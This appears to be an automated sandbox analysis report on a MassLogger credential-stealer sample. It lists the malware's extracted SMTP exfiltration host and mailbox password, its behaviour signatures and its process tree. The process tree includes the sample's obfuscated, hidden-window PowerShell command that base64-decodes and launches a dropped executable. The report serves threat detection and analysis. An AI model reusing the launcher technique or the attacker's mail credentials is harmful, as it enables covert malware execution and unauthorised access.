Analysis
- max time kernel
149s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 10:33
General
- Target 1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe
- Size 906KB
- Sample260910-mlny2abj2t
- SHA256 1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.atf-transformer.af
-
Port
587
-
Username
-
Password
@tf0794888229
Extracted
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masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
@tf0794888229
-
host_port
587
-
host_receiver
result box: [email protected]
- host_sender
-
host_server
mail.atf-transformer.af
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe"C:\Users\Admin\AppData\Local\Temp\1ccf47d19e5181c626bf6ad2bad6e95051a3281e9234b3202906bbd8aadd79a4.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nhh3q5=[System.Environment]::TickCount;$2z0w5q=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$nhh3q5=[System.Environment]::TickCount;$xj3ik4=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGxMdFZva2F2bFBVWS5leGU=')));$kqcaey=$env:COMPUTERNAME;& $2z0w5q -FilePath $xj3ik4"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\lLtVokavlPUY.exe"C:\Users\Admin\AppData\Roaming\lLtVokavlPUY.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
lLtVokavlPUY.exe
memory/3152-17-0x00007FF96963F000-0x00007FF969640000-memory.dmp
memory/3152-31-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-27-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-26-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-24-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-23-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-22-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-21-0x00007FF9694B0000-0x00007FF969E54000-memory.dmp
memory/3152-20-0x0000019A77180000-0x0000019A771A2000-memory.dmp
memory/3632-7-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/3632-6-0x0000000005C70000-0x0000000005C7A000-memory.dmp
memory/3632-12-0x0000000008170000-0x0000000008220000-memory.dmp
memory/3632-1-0x0000000000F20000-0x0000000001008000-memory.dmp
memory/3632-2-0x0000000006210000-0x00000000067CA000-memory.dmp
memory/3632-3-0x0000000005B30000-0x0000000005BC2000-memory.dmp
memory/3632-16-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/3632-10-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/3632-9-0x0000000074D02000-0x0000000074D03000-memory.dmp
memory/3632-8-0x0000000005DE0000-0x0000000005E00000-memory.dmp
memory/3632-0-0x0000000074D02000-0x0000000074D03000-memory.dmp
memory/3632-11-0x00000000080D0000-0x000000000816C000-memory.dmp
memory/3632-5-0x0000000005BD0000-0x0000000005BF2000-memory.dmp
memory/3632-4-0x0000000005E20000-0x000000000617B000-memory.dmp
memory/3952-25-0x0000000006640000-0x0000000006690000-memory.dmp
memory/3952-15-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/3952-14-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/3952-13-0x0000000000400000-0x000000000041E000-memory.dmp
memory/3952-32-0x0000000006960000-0x0000000006B22000-memory.dmp
memory/3952-33-0x0000000074CF0000-0x00000000754AC000-memory.dmp
memory/4396-30-0x00000000064A0000-0x00000000067FB000-memory.dmp